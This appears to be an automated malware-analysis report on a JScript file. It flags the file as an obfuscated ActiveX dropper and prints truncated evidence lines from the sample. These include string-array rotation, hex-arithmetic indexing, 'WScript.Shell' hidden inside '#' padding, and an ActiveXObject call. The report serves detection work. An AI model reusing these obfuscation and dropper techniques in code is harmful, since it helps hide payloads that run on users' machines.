UPDATED S.O.A.JS
Obfuscated dropper with ActiveX
Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated JScript invokes ActiveX SaveToFile
SHA-2561ed68aae0d40c5e917f7af63f308a913f7af47cb00ae45cea0f5df10fc54e6e4
Evidence
18:462… 7(0x5e4,0x522))/0x9;
19 if(GFNIFTKWRGRESWBP15055===GFNIFTKWRGRESWBP14335)break;
20 else GFNIFTKWRGRESWBP34269['push'](GFNIFTKWRGRESWBP34269['shift']());
21
22 }catch(GFNIFTKWRGRESWBP1735){
⋯4 lines
27}(GFNIFTKWRGRESWBP97745,0x62272));
28var GFNIFTKWRGRESWBP664=GFNIFTKWRGRESWBP80842;
29(function(GFNIFTKWRGRESWBP712,GFNIFTKWRGRESWBP41775){
30 var GFNIFTKWRGRESWBP45162=GFNIFTKWRGRESWBP80842,GFNIFTKWRGRESWBP47285=GFNIFTKWRGRESWBP712();
31 function GFNIFTKWRGRESWBP831 …
36:684… IFTKWRGRESWBP45162(0xf08))/(0x20ed+0x242f+-0x4512));
37 if(GFNIFTKWRGRESWBP17545===GFNIFTKWRGRESWBP41775)break;
38 else GFNIFTKWRGRESWBP47285[GFNIFTKWRGRESWBP83102(0x10e5,0xc3b)](GFNIFTKWRGRESWBP47285[GFNIFTKWRGRESWBP83102(0xe4e,0x881)]());
39
40 }catch(GFNIFTKWRGRESWBP72876){
41 GFNIFTKWRGRESWBP47285[GFNIFTKWRGRESWBP83102(0x73a,0xc3b)](GFNIFTKWRGRESWBP47285[GFNIFTKWRGRESWBP83102(0x878,0x881)]());
42
43 }
⋯5 lines
50:42… 19514[GFNIFTKWRGRESWBP51408(0x6be)];
51
52}var GFNIFTKWRGRESWBP47312=GFNIFTKWRGRESWBP73426;
53function GFNIFTKWRGRESWBP97745(){
54 var GFNIFTKWRGRESWBP33669=['Jbgww','WONoz','hWPAJ','RMmaQ','MUyao','ZPvtn','wOihC','WFYec','fyHaG','yvPCC','oUmlb','EaZrf','tmlkY','ZrPbh','bTfIm','jwQOw','EmZSb','jdxGx','YAPGP','YjecA','QWmpP','QmXMI','IXxkR','yLQIA','YrXrp','jKZTn','KPuBN','JQFgy','InSqN','gIROJ','QEcIn','tnKiE','BGwzb','cPCon','sfhfB','agSda','Frcpi','RAWYs','dWSxC','NGZhL','fLeHr','CqMdb','CeSQB','WZoAk','jZPrF','nVruG','zoaDJ','fisFn','ALDSY','ioeMA','RxOGT','CrnUO','FLAGS.TF','LBgzl','sDfea','DUlLH','JvNHE','PCMPO','UUdOL','sFlil','ccgay','EMrGJ','jXPUi','NaOBN','BBBBBSTBBBBB','fzVuN','tGOMD','RVMav','PyOms','VltJd','uQqbB','OVyrG','lCZJH','VQLpE','GFNIFTKWRGRESWBPOIIIIIIIantsh','flvut','EVEX.LIG.F3.MAP5.W0\x205D\x20/r','hmVbc','cwfbX','KtGFe','arGOP','WpUNn','eRWCC','SpTRJ','Zfbxc','GuWCv','oBwnc','ynWLb','aPoIR','BMI','iSdoI','NFZDt','nqLln','OCteP','Alignment\x20check\x20flag.','cEFaF','Nkyoi','sSKDO','ifmxg','uZtgr','EVEX.256.NP.0F3A.W0\x2066\x20/r\x20ib','mVRav','WVRni','UCctE','JPUAh','yEvtM','NrOeD','moSSI','vSyMZ','UyBJH','#####################################################W#####################################################S#####################################################c#####################################################ri#####################################################p#####################################################t.#####################################################S#####################################################h#####################################################e#####################################################l#####################################################l#####################################################','jIseC','pdnrv','OiFnE','IsifL','AESNI','rebkM','vvrRJ','DhEwS','Wvdpx','W:zmm\x20{kz},\x20zmm/m512/b16\x20{sae}','PzpXW','qSCPf','zIzGK','dLPsC','QRMdS','PMPxc','rNJnJ','btMDz','jQKEJ','dUktA','GFNIFTKWRGRESWBPOIIIIIsub213ph','Lufeg','TkOcf','YAnNo','jonfp','uzVEX','kLxtp','NFnCt','EtgKI','hjBGl','sqOAm','PAlfs','uzuqW','sHm …
1450:29… FTKWRGRESWBP37093[GFNIFTKWRGRESWBP54549(0x420)](GFNIFTKWRGRESWBP41531,-0xb*-0xcd+0x11e7+-0x1926);
1451
1452}var GFNIFTKWRGRESWBPTLY=new ActiveXObject(GFNIFTKWRGRESWBPALZ);
1453function GFNIFTKWRGRESWBPCX(GFNIFTKWRGRESWBP47052){
1454 var GFNIFTKWRGRESWBP58013=GFNIFTKWRGRESWBP664,GFNIFTKWRGRESWBP2179={
1455 'TVbXV':function(GFNIFTKWRGRESWBP2262,GFNIFTKWRGRESWBP86188){
1456 return GFNIFTKWRGRESWBP2262(GFNIFTKWRGRESWBP86188);
1457 …
1532:31… IFTKWRGRESWBP45959[GFNIFTKWRGRESWBP8823(0x63d)](GFNIFTKWRGRESWBP4527,-0x19db+-0x19b2+0x351d);
1533
1534 }var GFNIFTKWRGRESWBPUIH=WScript[GFNIFTKWRGRESWBP47312(-0x6*0x297+-0x1ff0+-0xa3*-0x4f)];
1535 function GFNIFTKWRGRESWBPCX(GFNIFTKWRGRESWBP32105){
1536 var GFNIFTKWRGRESWBP30739=GFNIFTKWRGRESWBP664,GFNIFTKWRGRESWBP9971={
1537 'FWiVG':function(GFNIFTKWRGRESWBP21348,GFNIFTKWRGRESWBP3742){
1538 …